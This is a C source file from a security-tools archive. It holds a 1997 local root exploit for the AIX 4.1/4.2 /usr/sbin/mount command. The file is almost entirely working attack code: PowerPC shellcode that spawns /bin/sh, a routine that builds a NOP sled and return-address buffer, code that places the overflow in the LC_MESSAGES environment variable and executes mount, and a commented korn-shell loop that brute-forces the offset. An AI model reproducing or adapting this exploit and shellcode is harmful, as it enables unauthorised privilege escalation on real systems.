home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / aix / local / mount.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  177 lines

  1. /*
  2.  AIX 4.2/4.1 LC_MESSEGAS /usr/sbin/mount exploit by Georgi Guninski
  3.  
  4. -----------------------------------------
  5. Use the IBM C compiler.
  6. Compile with: cc -g test2.c
  7. -----------------
  8.  
  9. If you get  Memory Fault or Illegal Instruction,
  10. try running brute force korn shell script.
  11.  
  12. 22-Mar-97
  13. */
  14. #include <stdio.h>
  15. #include <stdlib.h>
  16. #include <string.h>
  17.  
  18. char prog[100]="/usr/sbin/mount";
  19. char prog2[30]="mount";
  20. extern int execv();
  21.  
  22. char *createvar(char *name,char *value)
  23. {
  24.   char *c;
  25.   int l;
  26.   l=strlen(name)+strlen(value)+4;
  27.   if (! (c=malloc(l)))
  28.     {
  29.       perror("error allocating");
  30.       exit(2);
  31.     };
  32.   strcpy(c,name);
  33.   strcat(c,"=");
  34.   strcat(c,value);
  35.   putenv(c);
  36.   return c;
  37. }
  38.  
  39. /*The program*/
  40. main(int argc,char **argv,char **env)
  41. {
  42.   /*The code*/
  43.   unsigned int code[]={
  44.     0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
  45.     0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
  46.     0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
  47.     0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
  48.     0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
  49.     0x7c0903a6 , 0x4e800420, 0x0
  50.   };
  51.   /* disassembly
  52.   7c0802a6        mfspr   r0,LR
  53.   9421fbb0        stu     SP,-1104(SP) --get stack
  54.   90010458        st      r0,1112(SP)
  55.   3c60f019        cau     r3,r0,0xf019 --CTR
  56.   60632c48        lis     r3,r3,11336  --CTR
  57.   90610440        st      r3,1088(SP)
  58.   3c60d002        cau     r3,r0,0xd002 --TOC
  59.   60634c0c        lis     r3,r3,19468  --TOC
  60.   90610444        st      r3,1092(SP)
  61.   3c602f62        cau     r3,r0,0x2f62 --'/bin/sh\x01'
  62.   6063696e        lis     r3,r3,26990
  63.   90610438        st      r3,1080(SP)
  64.   3c602f73        cau     r3,r0,0x2f73
  65.   60636801        lis     r3,r3,26625
  66.   3863ffff        addi    r3,r3,-1
  67.   9061043c        st      r3,1084(SP) --terminate with 0
  68.   30610438        lis     r3,SP,1080
  69.   7c842278        xor     r4,r4,r4    --argv=NULL
  70.   80410440        lwz     RTOC,1088(SP)
  71.   80010444        lwz     r0,1092(SP) --jump
  72.   7c0903a6        mtspr   CTR,r0
  73.   4e800420        bctr              --jump
  74.   */
  75.  
  76. #define MAXBUF 600
  77.   unsigned int buf[MAXBUF];
  78.   unsigned int frame[MAXBUF];
  79.   unsigned int i,nop,mn;
  80.   int max;
  81.   int QUIET=0;
  82.   int dobuf=0;
  83.   char VAR[30]="LC_MESSAGES";
  84.   unsigned int toc;
  85.   unsigned int eco;
  86.   unsigned int *pt;
  87.   char *t;
  88.   int egg=1;
  89.   int ch;
  90.   unsigned int reta; /* return address */
  91.   int corr=4604;
  92.   char *args[4];
  93.   char *newenv[8];
  94.   int justframes=1;
  95.   int startwith=0;
  96.  
  97.   mn=78;
  98.   max=100;
  99.  
  100.   if (argc>1)
  101.     corr = atoi(argv[1]);
  102.  
  103.   pt=(unsigned *) &execv;
  104.   toc=*(pt+1);
  105.   eco=*pt;
  106.  
  107.   if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )
  108.     {
  109.       perror("Bad parameters");
  110.       exit(1);
  111.     }
  112.  
  113. #define OO 7
  114.   *((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
  115.   *((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) &
  116.                                  0x0000ffff);
  117.   *((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
  118.   *((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) &
  119.                                       0x0000ffff);
  120.  
  121.   reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr;
  122.  
  123.   for(nop=0;nop<mn;nop++)
  124.     buf[nop]=startwith ? reta : 0x4ffffb82;        /*NOP*/
  125.   strcpy((char*)&buf[nop],(char*)&code);
  126.   i=nop+strlen( (char*) &code)/4-1;
  127.  
  128.   if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
  129.       || !(reta && 0xff000000))
  130.     {
  131.       perror("Return address has zero");
  132.       exit(5);
  133.     }
  134.  
  135.   while(i++<max)
  136.     buf[i]=reta;
  137.   buf[i]=0;
  138.  
  139.   for(i=0;i<max-1;i++)
  140.     frame[i]=reta;
  141.   frame[i]=0;
  142.  
  143.   if(QUIET)
  144.     {
  145.       puts((char*)&buf);
  146.       fflush(stdout);
  147.       exit(0);
  148.     };
  149.  
  150.   puts("Start...");/*Here we go*/
  151.  
  152.   newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
  153.   newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
  154.   newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
  155.   newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
  156.   newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
  157.   newenv[5]=VAR[0] ? createvar(VAR,justframes ? (char*)&frame :
  158.                                (char*)&buf):NULL;
  159.   newenv[6]=NULL;
  160.  
  161.   args[0]=prog2;
  162.   execve(prog,args,newenv);
  163.   perror("Error executing execve \n");
  164. }
  165.  
  166. /*
  167. #!/bin/ksh
  168. L=3000
  169. STEP=34
  170. MAX=16000
  171. while [ $L -lt $MAX ]
  172. do
  173. ./a.out $L
  174. L=`expr $L + $STEP`
  175. done
  176. */
  177. /*                    www.hack.co.za              [2000]*/